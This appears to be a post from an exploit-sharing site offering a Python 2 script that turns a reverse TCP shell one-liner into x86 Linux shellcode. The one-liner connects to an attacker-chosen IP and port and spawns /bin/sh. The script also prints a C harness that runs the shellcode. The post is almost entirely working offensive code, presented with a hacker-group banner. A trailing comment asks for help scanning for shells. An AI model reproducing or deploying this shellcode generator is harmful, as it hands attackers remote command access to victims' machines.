Linux Reverse TCP Shell In Python

[10minute10]

Python code that provides a reverse TCP shell.

import sys

import re

#Title :Linux ReverseTCPShell Shellcode via PythonCodes

"""

___ _ ___

| _ ) ___ _ __ | |__ ___ _ _ _ __ __ _ _ _ / __|

| _ \/ _ \ ' \| '_ \/ -_) '_| ' \/ _` | ' \\__ \

|___/\___/_|_|_|_.__/\___|_| |_|_|_\__,_|_||_|___/

_____

|_ _|__ __ _ _ __

| |/ -_) _` | ' \

|_|\___\__,_|_|_|_|

Members:

Bomberman > B3mB4m < T-Rex

Should I rest ? LOL.No fucking way..

So what you think we can convert python reverse shell directly shellcodes ?

Tested on : Ubuntu 14.04(x86)

Proof : http://i.imgur.com/kfWwU6x.png

Python default path always some.So probably will works on all linux systems.

"""

class B3mB4m(object):

def __init__(self):

self.command = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (str(sys.argv[1]), str(sys.argv[2]))

self.shellcode = r"\x31\xff\x6a\x0b\x58\x99\x57"

def splitter(self, hexdump, pushword="None"):

if pushword == "None":

fixmesempai = re.findall('....?', hexdump)

for x in fixmesempai[::-1]:

first = str(x[::-1].encode("hex"))

second = re.findall("..?", first)[::-1]

minilist = ""

for x in second:

minilist += r"\x%s" % x

self.shellcode += r"\x68%s" % minilist

else:

first = str(x[::-1].encode("hex"))

second = re.findall("..?", first)[::-1]

for x in second:

minilist = ""

minilist += r"\x%s" % x

self.shellcode += r"\x66\x68\x%s" % minilist

self.shellcode += r"\x89\xe6\x52\x66\x68\x2d\x63\x89\xe1\x52\x68\x74\x68\x6f\x6e"

self.shellcode += r"\x68\x6e\x2f\x70\x79\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75\x73"

self.shellcode += r"\xb0\x0b\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80"

self.shellcode = 'char *shellcode = "%s";' % self.shellcode

self.cplusplus()

def logo(self):

print """

Author : LOL.What you think ?

Greetz : Itzik Kotler

""";

def cplusplus(self):

self.logo()#Let me do that for you

print """

#include <stdio.h>

#include <string.h>

/*Coded by B3mB4m

gcc shell.c -o shell

./shell */

%s

int main(void){

(*(void(*)()) shellcode)();}\n\n""" % (self.shellcode)

def testmystring(self):

if len(self.command)%4 != 0:

dwordpart = self.command[0:(len(self.command)-len(self.command)%4)]

wordpart = self.command[(len(self.command)-len(self.command)%4):len(self.command)]

self.splitter( dwordpart)

self.splitter( wordpart, "WordTime")

else:

self.splitter( self.command)

if len(sys.argv) < 2:

print "Usage reverse.py IP PORT"

sys.exit()

else:

B3mB4m().testmystring()

Source

[jamo11]

Hello , Please i need to learn how to scan for shell , can you help if so , add me here jamite20006@yahoo.com